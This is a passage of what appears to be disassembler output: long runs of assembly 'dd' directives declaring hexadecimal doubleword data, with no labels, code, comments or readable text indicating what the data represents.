		dd 185C6B00h, 0FB8C9031h, 0C6D905FEh, 230448h, 9EF0FC94h
		dd 2D00442Ah, 0CAD3F8E0h, 7A473DFEh, 0F655000Ah, 0E84CAD7Bh
		dd 80261A98h, 8F0761A5h, 9DA015BFh, 0EE4FEAA9h,	0E95700FAh
		dd 86B87EB3h, 3C03A8B7h, 89F5855Dh, 8BD79838h, 0DBC807E8h
		dd 30AA0C49h, 75A2804Fh, 9B3D9300h, 5BE9E10Dh, 0D9590027h
		dd 0EC35ACA5h, 98024E67h, 49BFF28Bh, 0D5E880AAh, 9753EB5h
		dd 0DFBBF134h, 0F5799080h, 3800B01Eh, 0DDA13D47h, 0B52BE9h
		dd 0E58281D6h, 0D0E0994Dh, 7EBE1900h, 61748DEFh, 0AD9F0287h
		dd 38B340C0h, 260192E0h, 96074E00h, 2D3E62C2h, 0AC480070h
		dd 65DA0FF6h, 0CA009592h, 21B75EAFh, 49AE7CB4h,	0DBA004CDh
		dd 99000BE9h, 6B3BD43h,	3DA7CFCDh, 4680F339h, 90C275ACh
		dd 0E7009B4Eh, 16C62802h, 4D2A5534h, 78A854h, 9D3F8FC5h
		dd 90094F80h, 0E4C90113h, 538DD0C0h, 0E43B500Fh, 13DC0092h
		dd 0F5282178h, 0D500F0C8h, 0BDA4CF83h, 0F9BA0Ch, 6746A6F8h
		dd 63BAE9Fh
		dd 0D14F9300h, 2D6FF078h, 121DE2BCh, 6EACC13h, 581EF682h
		dd 0ED41B41Dh, 0A44FF59Ch, 85B84044h, 114724h, 55B246A3h
		dd 108273ADh, 0C43048h,	0DDF86FC0h, 0F485F2F3h,	0A98902B4h
		dd 0D223D0D7h, 46E88060h, 88B79301h, 16A8C6BCh,	0E8584D60h
		dd 8A9806h, 2F503202h, 8CE20375h, 78694800h, 7114FA4Ch
		dd 5B770072h, 97930A8Bh, 575C395h, 3D00ED76h, 65226D7h
		dd 2B1A3Ch, 692E37A0h, 4AA2A4D8h, 0AB3D0C00h, 819E0685h
		dd 600200BEh, 83C37949h, 0DB1C3032h, 5543094Dh,	0F0D8232Fh
		dd 4124BCh, 0BA581422h,	42636AB7h, 4A00ADE4h, 7C72C70Dh
		dd 5AE996h, 0C2C8E6F8h,	0B3BAA355h, 0F3228800h,	1787DE90h
		dd 7B5700DCh, 58FC86C4h, 0D3009768h, 6E66EFEAh,	0E7647F7h
		dd 0DF56C69Ch, 0ADC70FE1h, 0B8FF301Ch, 2F38A100h, 1DFB85A4h
		dd 3B650027h, 0EBFD0395h, 6DFA18B9h, 7E6B4400h,	924EB022h
		dd 7D413F15h, 53E26BEh,	19135D80h, 4CF0C030h, 58556500h
		dd 63672022h, 0FF5A00EAh, 0E70D2AC2h, 3B002E78h, 0F25B4496h
		dd 0E290CA40h, 0B0EE004Bh, 3EDF8A8Bh, 6C01B1B7h, 1CCF1F2Ah
		dd 0BBC0228Fh, 6B9500D8h, 2C6252DEh, 9B0015A5h,	0D325073Fh
		dd 0AA67Fh, 0FC35A843h,	0EF7C7B5Bh, 28A09B0Fh, 0CA13A0BEh
		dd 1C95E699h, 0BCF9EEEh, 7CA00680h, 0F86C2175h,	0C6C42C00h
		dd 0F755F146h, 97420309h, 5DBA1AEEh, 0E2E8708Bh, 0F9008B6Ah
		dd 0BC0DCEC8h, 0AB4F573h, 0BD1F407h, 1DAC07D8h,	3D643002h
		dd 0A401D42Dh, 0D1FEF5D2h, 98306933h, 0AF4016CDh, 31012E6h
		dd 38B275C8h, 0D6B0C0E8h, 0F15FEE1Dh, 45E08902h, 4B3841D8h
		dd 1DADE8D0h, 8DDFF7h, 72B11478h, 0FA001624h, 79F2C27Bh
		dd 3C1F2550h, 0A4130240h, 0BDE700ADh, 3BC944B8h, 7731C400h
		dd 5D412643h, 138200E3h, 189C8F20h, 9E016AEBh, 0E2D9067Ah
		dd 0A021C483h, 0B0737A30h, 261D0FA6h, 174076C9h, 0BCE679F0h
		dd 96E4D700h, 627A4EB1h, 27AF0042h, 0DB6D5AC9h,	52E21D40h
		dd 2AEABB00h, 0E3AB77EEh, 0C033734Eh, 0F284B7D0h, 362E5EC9h
		dd 8C2052FEh, 70D35F03h, 0B6D9BA17h, 0E337728h,	0BC1549E5h
		dd 5D8B4C40h, 695CAB71h, 7D03004Ch, 70600C08h, 926D0089h
		dd 9521A358h, 6F00CCC9h, 835CFEDAh, 0F13792Ch, 525B674Fh
		dd 106C3CA6h, 0DAC2D700h, 693FA7B7h, 2F962E6Ah,	77F2879Ch
		dd 7A68416Ch, 0B0A0CCB6h, 1C67B4F0h, 0AF8085A8h, 78CF739Dh
		dd 0BC9A00F5h, 0CDC51D0Ch, 0DDE658D0h, 514D49C0h, 3D4FAF38h
		dd 1CA6BEFh, 79F65FD4h,	6492E43Ch, 4BC38800h, 274C7C63h
		dd 93F0F5h, 5FECC6D0h, 0DC020B25h, 0AD14FD00h, 0A973B2F8h
		dd 8B340340h, 152DF66Ah, 303627A0h, 82BF9E00h, 73F037ECh
		dd 0C12501D9h, 0D561558Ah, 956C7015h, 84CE2F3Ch, 60DEC2BCh
		dd 0A5B9D3C0h, 0AEB30EEBh, 0EEFB271h, 405E82EFh, 6944A396h
		dd 491E5BB0h, 0CF859BDh, 0C82BD256h, 3E1C1B52h,	0B2C86CBAh
		dd 0F917966Bh, 1040CDC9h, 59AA5A3Ch, 0C3E7073Dh, 0B2256719h
		dd 8AF71FB9h, 400F723Ah, 65D9E098h, 17A8D89h, 0C9D48A8h
		dd 340D997Dh, 0F9009890h, 0CF2762F0h, 0B02C1ABBh, 0DA5E0018h
		dd 8C11DD88h, 0FF002D6Ah, 0EC73C88Eh, 6CB274h, 9AB83965h
		dd 94775D1Ch, 0BC849503h, 96332A72h, 463200C0h,	0D4D3655Eh
		dd 0B412D04Ah, 0B31D8CB6h, 5E13B80h, 8FC97Ch, 39E3FD1Ch
		dd 58D9C547h, 0CE8A7F00h, 619B57FFh, 0ECC001B9h, 5F64AA86h
		dd 2CC080B6h, 550EBB9Eh, 516E1CC1h, 23BA40D2h, 4B7AF095h
		dd 67F20C01h, 5A491B13h, 99CCDE4h, 3E600135h, 0BD9E2600h
		dd 0AF005CF9h, 0BB5A65FAh, 32234Fh, 905F82Ah, 359A61Ch
		dd 0D046400h, 0B13F2EDEh, 92F7B2Bh, 61EC246Ah, 2C424C00h
		dd 694E3117h, 487C2C00h, 142D8D06h, 9C845CA0h, 0BE785E00h
		dd 0C740AD54h, 3856DA00h, 0EE276BB0h, 0AE300F42h, 40FEC8CCh
		dd 0B4755B97h, 0AB0783ECh, 57950B41h, 9A4BBD90h, 698F0087h
		dd 0F23FD8D3h, 0F9010A26h, 381142C2h, 3474B1A3h, 3F98EFh
		dd 0A15A668Dh, 0B32C3234h, 0A3CFA616h, 0E8BB9C01h, 6770F414h
		dd 98514D1Fh, 0CA30460Eh, 1284FE49h, 0C9008025h, 0A2022C57h
		dd 0F91D8DABh, 0B2EBC0D3h, 82CD0B2Dh, 9B00EBF1h, 705C395Fh
		dd 6B047301h, 81EDC9ABh, 62EE30h, 33996C03h, 5EC3B1B2h
		dd 882E5D00h, 65985C4Fh, 4031DFF8h, 865830A0h, 64E9EE4Eh
		dd 1C12063Ch, 24023101h, 605EC2E2h, 1D26963Ch, 3D9572h
		dd 55D5FB2h, 3674E50Dh,	0EC0240C0h, 1F07035Ah, 586BDA1Ch
		dd 0AE7B181Fh, 0DDDF1207h, 5C10751Eh, 0E9C65Dh,	2E920542h
		dd 0B5C0B27Fh, 405E8D01h, 0A63F9324h, 91239840h, 5B7B0082h
		dd 92DB4368h, 2D01BCEDh, 7A0E81F0h, 0BFCC1899h,	6E703845h
		dd 28624D03h, 6591C886h, 956A24EEh, 4E9EA91Fh, 80138CCBh
		dd 0E626FE2Fh, 76F0AFh,	396252Ch, 0D595B8D4h, 7C3BAC03h
		dd 0C0939E41h, 0B6BDD1h, 0C4FA631Bh, 0FC49CBDFh, 0BFE18600h
		dd 789116F0h, 0CC2A39A8h, 5B838B00h, 267BD82Ch,	6F1513Ch
		dd 54B20DE8h, 498000C0h, 6CBF471Eh, 400D966h, 3A20307Eh
		dd 38226452h, 45821827h, 0FF7BED94h, 8079BCC0h,	0D8A82D00h
		dd 82EF62F9h, 0B18307CFh, 91F61506h, 80D9EE72h,	9AC77570h
		dd 398DAEh, 0BE790282h,	546AAF2Eh, 3E611B39h, 48A68077h
		dd 0A117F7E7h, 868701F4h, 0C8188AEBh, 2D3AC428h, 74E0D300h
		dd 6F09DCACh, 49FAE5h, 403CA5ABh, 2C944487h, 0C2DA5300h
		dd 0EDF80B89h, 225601FEh, 0B2D6F364h, 0FA90814Eh, 0D1BA75C9h
		dd 1CCF5E20h, 52311450h, 0BF160923h, 460046F8h,	0ED80B17Dh
		dd 0A0630h, 585B7101h, 0EC9EE34Ah, 20E56407h, 0FE1716E8h
		dd 904A07Eh, 4627BF9h, 0DCC54DBDh, 2F3C800Fh, 0F6011D27h
		dd 74E4B0AAh, 8680FE3Dh, 11477FBDh, 510052ADh, 0E39C7ACAh
		dd 67E9C4h, 9963C5D0h, 572CC2B6h, 1980F700h, 4D9DCA59h
		dd 8EF90164h, 0CD71AFA4h, 0F501E406h, 6EE3DA0Fh, 2C0BE4Eh
		dd 0DB449B7Eh, 53FC00C4h, 703CEA8Dh, 0CE3032CBh, 50601054h
		dd 98881341h, 862C0148h, 0C063C835h, 9907C93Dh,	26EDB98Ah
		dd 54726FC0h, 38C1E831h, 218F615Ch, 0B2400AE0h,	0C93B775Bh
		dd 0E7F59F00h, 3DFD83D4h, 0B670FBCFh, 3FFA01ABh, 763EB5Eh
		dd 0AA8A43B0h, 7DB8C6E8h, 7A2A3EFAh, 0C50184B4h, 149F30F6h
		dd 30961FBEh, 0BDC600B8h, 0B62297C4h, 8F424F00h, 855266D6h
		dd 347C77h, 4A913287h, 39410E1Eh, 3100847Ah, 1870C8B4h
		dd 90610C8Bh, 3EFCF8h, 6F0A6A44h, 5CE30DD9h, 75DD8E7h
		dd 4393DC03h, 0C0BFE075h, 5CB019DBh, 0CF012647h, 564FDF8Ch
		dd 8440DCFDh, 82D76B00h, 63EDCE92h, 18F900E5h, 76372D09h
		dd 80A0944Fh, 0BB001D8Fh, 0BDB7AF96h, 8D34ADh, 6505DE04h
		dd 3827160Ch, 2DA4C201h, 0E555E4D1h, 98F3F0h, 0A1224503h
		dd 0D769F72Ah, 0D3E87800h, 0ED45F07h, 287E00B7h, 0C48375F5h
		dd 0DE037B46h, 0DD064CE1h, 0EE92E0EFh, 19D30164h, 0F97220C2h
		dd 0A318D80Eh, 95563100h, 657826A1h, 0CBC6002Ah, 0ACEF43F2h
		dd 2E0097BEh, 0E7407E37h, 1C655B79h, 80B93430h,	9CAA505Ah
		dd 0A205CAEAh, 0E0E197F5h, 2F1FF008h, 0AD003F70h, 2E303947h
		dd 0C43EDD42h, 80B56511h, 0EE4F6F6Ch, 78C87600h, 629E90ABh
		dd 0A88F0B3Ch, 59C0C18Ch, 9100DDE9h, 9140850h, 881001h
		dd 78F2B335h, 7FDC89Fh
		dd 3CEB3A3Eh, 0E7E8054h, 17695FBh, 166D00CDh, 4EB83B4Ah
		dd 5D0A1183h, 0FB64183Eh, 44B2ED03h, 4F399082h,	55300F7h
		dd 639DEBE1h, 55003A42h, 51F51A6Fh, 0DAC1CAEh, 0BA9F0240h
		dd 0C6F6E4D6h, 96FF5E1Fh, 0C0B6BC0h, 581AE43Ah,	0F2009B12h
		dd 3E3B0518h, 7D0063D6h, 4B943883h, 126EB23h, 0CC04BD8Eh
		dd 200AFE99h, 9F029D30h, 174A7E09h, 4C846045h, 0B2B005Ch
		dd 7DA23EDFh, 217A3DABh, 0EA5CFB7Bh, 4EF62ECBh,	0B0063600h
		dd 95F1D2h, 4FD82064h, 8A67161Eh, 0DBF63500h, 339E4CC7h
		dd 69F800BEh, 0C02C0915h, 489206E1h, 60CEAFA0h,	0DBF86400h
		dd 5DD78CF7h, 0AF9D007Bh, 40E5A8A5h, 0F2757D5Ah, 0B91F3C00h
		dd 0DB2F84C2h, 6FBA008Eh, 9D4293E3h, 66241530h,	38128CCFh
		dd 0D904801h, 3A0082B4h, 5E700E70h, 8AEAEF00h, 0E092CB3Bh
		dd 0E4C1394Ah, 0FA6C2Eh, 18E82349h, 3C79662Fh, 569A0E17h
		dd 54855C00h, 32A64C8h,	73B73F41h, 0BB8B5ADh, 0B679290Ah
		dd 79BD0F07h, 602032CAh, 0F3076Dh, 0E76F9441h, 62D5EE55h
		dd 0B0DC5600h, 6D4CD77Dh, 3B0DB8BFh, 0AA004169h, 7234B3E3h
		dd 1300ABC7h, 0DBCB8063h, 9A599Dh, 50BE95D3h, 10AA409Fh
		dd 483A0400h, 0C7DC1DC8h, 0CDEA0B24h, 26806476h, 0D8BF423Eh
		dd 0FB564403h, 0C087C3C0h, 26B3B5FAh, 0CA6230h,	0BE72752Ah
		dd 83001B99h, 46A86553h, 0E950C9h, 76FD619Ch, 0C52E8281h
		dd 0AD194C00h, 3FE7CF3Bh, 0A3570043h, 0D1EBFFFBh, 9000B956h
		dd 770425E8h, 404869h, 8EB2AC5Ch, 0D1A75516h, 834B3E07h
		dd 2800F519h, 396CA5Fh,	88692E4h, 0C8F8D2CBh, 1000128Eh
		dd 0C46051D0h, 30040E48h, 9058ADE8h, 9FE196Bh, 0B0C3D33Fh
		dd 0B0F7185h, 75FD0126h, 0CE5EB19Ch, 91880C0h, 0AD5FC63Dh
		dd 9511C059h, 2DCD20C9h, 2FBDC407h, 0F2577830h,	5CABD8B0h
		dd 81FE32h, 2ADD5541h, 0F0F71598h, 58A3F100h, 8D9E132Ch
		dd 0D11C00FFh, 8CECCEBAh, 24770ABCh, 4072691Eh,	927E983Ch
		dd 0AFF398h, 0AD24284h,	1405D7B3h, 7AE9D00h, 72BD37C4h
		dd 0BA870326h, 29F712E0h, 0C2E8E006h, 0D98640h,	5BC9AD03h
		dd 0CCB8DE6Bh, 22198C07h, 973050C4h, 0F21EE8Eh,	779180C3h
		dd 80F1E647h, 6DC178B6h, 5715370Bh, 9E5F80CAh, 18AC489h
		dd 6B80F4E2h, 0A3259769h, 1AF00471h, 0F191608Eh, 137DE096h
		dd 0A6358200h, 43FF24F5h, 0A40600F9h, 6F8BEE18h, 0CA3E31B6h
		dd 52F87E9Ch, 891B0200h, 373355E9h, 5942600Bh, 0B05F81AEh
		dd 8EBD51C4h, 0B77CFB20h, 5029E160h, 0A0208491h, 0EB40984h
		dd 0B733ED36h, 30231680h, 0C0030539h, 6F5425Fh,	0D0B928EBh
		dd 0BC1A3334h, 0AD911C1h, 87199F02h, 3B24FC40h,	29B7313Ch
		dd 8070FBB3h, 43FE730Dh, 0CE001217h, 38B02C2h, 0C87E32A5h
		dd 0F9807FE8h, 0E6A4C74Bh, 0CB9B885h, 28BC7D72h, 0C40A3469h
		dd 4C42366Ah, 1EA5A460h, 86EB02CEh, 73A6F993h, 0D12F2C48h
		dd 94843A90h, 0B4FEAB0Ch, 18BAA935h, 38C43EFDh,	0D4A4CC6Ah
		dd 4845F500h, 88D8C0A4h, 170D00C4h, 0A17C786Ah,	37E49298h
		dd 1F35E400h, 93891322h, 5C0A031Eh, 89DC1C2h, 7641483Ah
		dd 12000649h, 44F75D3h,	5DC160E3h, 37F72FFh, 0BF3B1B2Ch
		dd 66B0BECCh, 0D9071961h, 3438ADFCh, 0E712E361h, 62DAF8h
		dd 0A6C4C251h, 8E7256BAh, 8007323Fh, 8C171931h,	245891C0h
		dd 172E134Fh, 8BB70081h, 84E9B3EDh, 33E4341Ch, 46C7D65Ch
		dd 0B191E329h, 0D07088A3h, 87DF01C3h, 12557966h, 0D128200Dh
		dd 0C007917Eh, 0CFC2E7E2h, 7501390h, 16B7227Bh,	5AFFA307h
		dd 10CCC50Ah, 3DD100A0h, 67CDA7ABh, 5701C201h, 0C3FC3F14h
		dd 4080476Ah, 8FBF068Bh, 7403110Ah, 0E1160D7Ah,	30E58072h
		dd 652800CFh, 0C2DEB454h, 0B058AD01h, 0B14B0087h, 92FFE698h
		dd 0D1480022h, 0DEE7CD74h, 7AE8CC64h, 5A9121C0h, 7402825h
		dd 768C651Eh, 7C7BB0D3h, 8901FF0Fh, 946CE857h, 90F3D29Bh
		dd 898B0A3h, 487DD141h,	7F5F4930h, 602DFA99h, 0AAD111A5h
		dd 1E073C3Ah, 265187FAh, 0C0CE088Ch, 3A726721h,	9F071196h
		dd 9BABEC1Dh, 0EE9EF4A0h, 3B480001h, 0AAFCCA07h, 8F1803BAh
		dd 0B138E308h, 166B00F8h, 71A71B8Ch, 9C663A5h, 2003EBh
		dd 59167358h, 179EF244h, 0D4A0B50Ch, 10B0D109h,	0F350B7h
		dd 0BBF5CE5Ch, 1B4803h,	0AAFFA1D9h, 0FA23431Dh,	0F3E2500h
		dd 47A5CA8Fh, 0F3E10F44h, 0C05C3C53h, 0E22198A3h, 3005A4Dh
		dd 0C8EA39CAh, 4E8E58h,	8482DC71h, 0ECD4F441h, 4345AF00h
		dd 94F17434h, 8CEF00E7h, 0C0093D80h, 0DA728724h, 0A0678E00h
		dd 94B1AB10h, 73D90046h, 5B7F31A9h, 9100AFEDh, 9ED10286h
		dd 0E962A42h, 99928EFEh, 648FD560h, 4004C4Bh, 0A08A107Fh
		dd 0F3FAB1h, 8B499E72h,	0AF5EFDB6h, 12238h, 0A2157C1Bh
		dd 786399D4h, 0F2F607C2h, 703DEB78h, 62F946C0h,	2DA62100h
		dd 0FC48B7CCh, 0E860E10h, 1D803394h, 5E674A5Ch,	61857B00h
		dd 0B9AD7241h, 6080E840h, 23F32081h, 0A600E45Eh, 784B5A08h
		dd 3DB093h, 0FA1B7EE2h,	53B37485h, 446B5401h, 18265E05h
		dd 33FC97F0h, 0F91819EAh, 0FD862AE8h, 81A1F73Fh, 0E32C821Ch
		dd 1D00FC9Eh, 0A61FD977h, 61008448h, 0DE5F562h,	21FA6019h
		dd 0CE8C5F5Ch, 7500967h, 28DE3D81h, 3B2076F3h, 0A4817379h
		dd 9C7D4E6Ah, 50088C32h, 0DC205Eh, 9AEE736Eh, 518E015Fh
		dd 1C5468C0h, 0C07E824Dh, 0D8262A60h, 75013FE8h, 12E50F8h
		dd 0EED053D6h, 0AB20C01Ch, 10EFE911h, 687FAF01h, 0F7D9AF8h
		dd 164E21E0h, 0FD0732Ah, 401E13B1h, 7227D669h, 0B300EFF5h
		dd 6F47E865h, 931F25h, 0BF26CE03h, 1AE6C0BCh, 2EE25A00h
		dd 39880F08h, 256A0355h, 6B1E752Ch, 0D990A2D0h,	17938C12h
		dd 83941C03h, 0F8FDDB13h, 0FA3B7527h, 9D04007Dh, 666885Bh
		dd 0EF2EB320h, 0C5124DF1h, 40F6800h, 0CF7099h, 0DAA97E92h
		dd 277748B3h, 0A10E0300h, 4F992FFAh, 7D2100C1h,	0C36CF8EFh
		dd 360E373Ch, 20B4A780h, 4990E78Bh, 0D09200A2h,	0D62C48ABh
		dd 0A3070268h, 5E88E638h, 1FB423h, 3FE29092h, 4B7458CDh
		dd 1CE89C00h, 0EC8BC4D3h, 0F410156h, 192676F2h,	0B1A03B03h
		dd 0F4271293h, 0C03C005Ch, 0C17091EFh, 0E8331205h, 7A805BEBh
		dd 0D15D9Ah, 4B4436B5h,	20B94E7Bh, 2D03A700h, 6D5F553Ch
		dd 0E2243E07h, 9B005E5Ch, 8928ADC9h, 0F400C6A2h, 7C5A59C4h
		dd 0DD8FE5h, 0AD79A41Dh, 9C0AA190h, 6DD66B00h, 0BB3BDBC2h
		dd 667241h, 991DE406h, 0A047B1D9h, 299D7632h, 0D8DF10E6h
		dd 22F60589h, 2A228B7Ch, 228521D7h, 0D8210105h,	138A8911h
		dd 915D9C8Eh, 82D212Ch,	92909908h, 4A26C384h, 0E1450C9h
		dd 1C76213Ch, 35A172D0h, 945A1482h, 0FC217A24h,	101112DBh
		dd 5E8890AFh, 0F03A80D4h, 4AADB203h, 0EB92957Bh, 0C54BD859h
		dd 2D3500C6h, 0E14EF6CBh, 0E4005FD1h, 96A58BA1h, 0FCA203h
		dd 0D301B8B9h, 37262011h, 0C87ED907h, 0E3601F07h, 0ABF0F8h
		dd 0A09A2352h, 55389B90h, 0C2D61E00h, 9966AD19h, 64F600DCh
		dd 453B505Ch, 0B50FEFF3h, 60A2A76Fh, 1B6A7695h,	205B0F8Eh
		dd 1D36B2EBh, 93ABCFAEh, 98907940h, 0EEFFFFBAh,	0B289AC40h
		dd 849E2300h, 0DA5BDBB3h, 62BB00A0h, 356A545h, 9B00983Bh
		dd 0CA5451DCh, 1A1CF3h,	0F8FB6B5Dh, 3018A334h, 0BA1EF500h
		dd 9E8D327Fh, 13B1004Ah
		dd 0BB427A93h, 0DB2C5D8Ch, 0F30057AAh, 3C71681h, 0C2F50FC5h
		dd 2480F2CAh, 0E8AC71A2h, 8FFDDD3Dh, 0E11A1BA0h, 9B4C6368h
		dd 8EAEE4h, 9AF7FA50h, 7EE95E65h, 220CEA00h, 0BCF3E44Ah
		dd 20C0F13Ch, 16B002Ah,	44BBE7D4h, 35005868h, 58DCEF9h
		dd 60904EFFh, 3B78B08Ah, 4100F3F2h, 58F771D4h, 131984Ch
		dd 0F51EDA73h, 0F4CF5125h, 0A002BB0h, 5F09ECF9h, 0FA0784h
		dd 0FD895933h, 446A1C5h, 61FBAF00h, 0F3274D78h,	6F7F28h
		dd 0F17A92DAh, 0F9375018h, 0DF681E00h, 2ADE6102h, 603E0FB2h
		dd 0C4408AD1h, 2731F457h, 3043FB00h, 69937058h,	64FD0008h
		dd 1273EB4Ch, 0B52813BDh, 3026D8DEh, 39017B4Fh,	3E6783F0h
		dd 151370h, 2DB0A2D7h, 0EDFC7E5Eh, 2F00BBE8h, 8BCDF6A4h
		dd 2069BEh, 0B96C5452h,	4049266Eh, 3EAF3Ch, 7AC1F0B1h
		dd 1D14E903h, 0C0602816h, 0AD47CD9Ah, 0FF7F8059h, 4900297Fh
		dd 399E3062h, 0ED3A3h, 65D9E214h, 27FC4F23h, 21F84E60h
		dd 0CB3C87h, 57D7E71Dh,	4CBE0E02h, 7D90D302h, 0A7D885C2h
		dd 0BF1082FCh, 0FCDA757Ch, 3C3B00CEh, 22B1F67Dh, 3FA5C34h
		dd 4F84B41Fh, 1AC3DC9h,	5D76662h, 4E7DDCh, 0F570852Dh
		dd 0A3A46576h, 0C3A74F00h, 48E659F0h, 0BF710069h, 0E163979Eh
		dd 0C50F28A1h, 0C144A5F1h, 0BB318391h, 6D7D40EAh, 80EE4854h
		dd 88D04A07h, 7F34A06Fh, 0F2B0F233h, 0E64C8E2Ch, 99798C00h
		dd 0DFA430h, 0D1051407h, 0CDC2462Ch, 77A86618h,	0F3E1FD8h
		dd 2B5A88E5h, 870182A2h, 0B694AB40h, 0DB1D6500h, 0E11171A6h
		dd 0EFD5006Fh, 0B3C6B5A4h, 7301CD3Ch, 81EBCA48h, 0C9D8F170h
		dd 37D9132Eh, 8100033h,	1BAAC020h, 0CAB5A700h, 1324C1Ch
		dd 368F0056h, 705B7EC1h, 2E07F6F2h, 0DE30EE4h, 0FFD4BFB0h
		dd 8B1E00F1h, 0B4D8727Ah, 0DA5C85B7h, 0E962036Ah, 9878E0B2h
		dd 92043h, 61198806h, 89956B01h, 0A231AE00h, 26BC3DD8h
		dd 9E7705C3h, 81BF2D98h, 0E8CFD920h, 8C1D80CAh,	8D80E156h
		dd 2060C692h, 75E000CCh, 0AED24AECh, 56011A86h,	9ED521BDh
		dd 9BE4374Dh, 669C00B0h, 0DB3963C4h, 9900060Eh,	0C618407Ch
		dd 0C92122h, 0D4295D4Ah, 0CE490F26h, 0E40C65F2h, 0DC03B0B6h
		dd 7FC7079Dh, 71F6C8B1h, 6A162374h, 487CC3F0h, 5D00D3F5h
		dd 1BCD8D57h, 30004F6Ch, 0D78B5213h, 64C565h, 7DEE9C45h
		dd 0DA310535h, 109F0F00h, 7657BD7Fh, 386A3832h,	0AF9EE480h
		dd 20B1F04Fh, 5F3BB90Bh, 9DE6800Bh, 217B17h, 0D2D134BAh
		dd 1D9791F2h, 78680400h, 631BB186h, 0F0FA0071h,	3F96BC15h
		dd 2F00EFC8h, 79F62A62h, 1C929ADAh, 40F17677h, 8E2BC739h
		dd 0CF0E617h, 9C7CFC00h, 47F9BEA0h, 9B3F0305h, 4FDFD765h
		dd 774B2CC0h, 0C0903E03h, 901AD820h, 117DB2h, 0CEB92DC2h
		dd 2ABDA4B6h, 0C800C490h, 6A47CF6Dh, 7B520B0h, 0B8819A5Dh
		dd 1DA2402Dh, 0A778F445h, 42F0D009h, 0DCD200B9h, 378D995h
		dd 0AF15EDB5h, 51E0B87Eh, 3F1E5C7Dh, 0BFC19CC2h, 0CF5B48B0h
		dd 0E3038E0h, 2E6DB89Bh, 6A87407Dh, 580B858Eh, 0F5BCAC00h
		dd 3E4DE53Ch, 45400089h, 0C08F519Bh, 0B000434Bh, 0E154BA96h
		dd 64D1E24h, 7B049D95h,	282C1EDAh, 0A001A470h, 1E100E3Bh
		dd 496FE080h, 298CA47Ch, 0FBA1351Dh, 0D2E1EA40h, 113EEC2h
		dd 0D155165Dh, 3024B27Ch, 38C05EA9h, 0EC97233Dh, 8FCD0132h
		dd 35CA2F7Fh, 0BEACECF6h, 0C0278900h, 0B786E6FEh, 3FA9004Ch
		dd 87CA953Ch, 0C0C05120h, 6497FB3h, 52F601E1h, 12B61C48h
		dd 9C34C46Ch, 0F03FFF00h, 0BD8B6FF1h, 86A075Ah,	0F0636E22h
		dd 0C6ADCE02h, 50039CE2h, 857EEF9Ah, 82BAC8B4h,	15672EBh
		dd 0A9491915h, 0C8ECB1D3h, 0B009E45h, 0D5A5573Dh, 315BCB9h
		dd 12B581F2h, 38019CD7h, 863BF538h, 0D0202B8Bh,	0E6C2008Eh
		dd 9593C8A1h, 6D00699Fh, 0ABF3A40Ah, 3B737h, 0DB02B828h
		dd 628C5404h, 2809D73Eh, 0A601C0AAh, 305C5179h,	81EC454Bh
		dd 0BE98A5h, 0F76680C9h, 0A34294E3h, 8500F2E8h,	0C10154B9h
		dd 99FBABDh, 0C45D22CFh, 0EBCE0003h, 82ACBCD0h,	0B532703h
		dd 0A8EA3012h, 202386Dh, 0D466072Ch, 0C580A02Eh, 0BA1768F9h
		dd 0C6CD5007h, 0E6305CC1h, 0EFD6DFFh, 60972FF2h, 3D1FFBA3h
		dd 5A2818C0h, 0EAF03065h, 0D0A920C0h, 0F7CE00A2h, 0C9674705h
		dd 0BD0E7BEEh, 0A08FA583h, 71B6B06Fh, 43A400F3h, 6C8C1A9Bh
		dd 4800340Ch, 2320F93Ch, 0EFC33Fh, 4B9AC045h, 0C79F9C11h
		dd 64489100h, 6B1318DDh, 0EFAA009Eh, 0F3E1B76Dh, 8D3E215Dh
		dd 0E7DE806Eh, 70273A7Bh, 37189h, 0E412F81Eh, 0ACD9E07Ah
		dd 59DCA05h, 901F3BB2h,	8EA1BC0h, 97D402h, 60E39A27h, 653A6676h
		dd 5C7E8E07h, 0D140A416h, 8AEFBFh, 0D60AC2A6h, 0AD31F6FDh
		dd 6F55B401h, 0BB22AABDh, 802730FCh, 680021EDh,	7A54282Bh
		dd 9D6C0Ch, 0DD8ED895h,	0B2B9BF49h, 4D0018E8h, 0C8C570F4h
		dd 0A0607h, 0C44E9F2Ah,	8E474092h, 7219E4A8h, 0D01A1C00h
		dd 59249C6Bh, 0C05A00E1h, 0EA91B976h, 1101EB6Fh, 9F033D2Eh
		dd 8931F442h, 0A6F8D0h,	6E60E69Ah, 73CE9C49h, 0B030C401h
		dd 965F63FBh, 7B2A5CCh,	50868AC7h, 0D0F7C199h, 58D420BEh
		dd 4AED3700h, 5EABDCA9h, 1860006Eh, 65EB8698h, 79F02A2Ch
		dd 0B38EC10Ch, 2D4088h,	0B7392426h, 0D783BB06h,	0E6524803h
		dd 99DE812Ch, 14322928h, 61FA2C70h, 684E012Eh, 30B4809Eh
		dd 707D8BF0h, 0AE6C7300h, 0CB71CA47h, 0E7210729h, 909941C2h
		dd 9653CF94h, 130BA100h, 2220E901h, 3806010Ch, 925F7FF8h
		dd 0CB02FD8h, 47A213EAh, 29F0027Ah, 401231B6h, 0EADD20h
		dd 30AF3745h, 0B2726F79h, 541E3400h, 8B6ED858h,	799032Ah
		dd 870D9E2Eh, 0A0D764C8h, 6C007D76h, 22D67245h,	0D3BE96h
		dd 3CAED962h, 0A77C4AE6h, 3E6AF4E7h, 0AC273F03h, 0B0B267E7h
		dd 0FAD8394Bh, 8B7857h,	64CAEDFh, 5BC2FEADh, 0D5612E00h
		dd 0D71AEEF9h, 0C3BA06FAh, 564D0BF3h, 5CA8BF1Fh, 4608B743h
		dd 394CA810h, 0A7980Ah,	757D0498h, 5BF83215h, 2BA6E100h
		dd 9E4F5372h, 6620078Fh, 0A060E578h, 836AF3A0h,	0B12BC0E7h
		dd 8B6CDE01h, 9F4482FCh, 1A5F7E4h, 0E0AC077Bh, 82A4A372h
		dd 8E3D47D8h, 0A282C081h, 0C03B01D6h, 0F7F3614Ah, 0A99AF439h
		dd 0FE678700h, 9221F646h, 9E303DF5h, 2DFAF080h,	693E8CB3h
		dd 0C3DF4502h, 0A15FE9F6h, 309AD1A8h, 71A375C8h, 80E06060h
		dd 0A6A118EDh, 74015000h, 0BF8E45Fh, 0F69B0034h, 73B05E51h
		dd 0DD0023EBh, 1A2A0DD6h, 3DA10128h, 0E60034B3h, 90C161BDh
		dd 3B009C3Ch, 6424B495h, 3FB0A65h, 0F1D5910Eh, 0C8DA0DB5h
		dd 3910A840h, 3F7D9500h, 0DE5F3C43h, 87D0004Bh,	0EDA734CDh
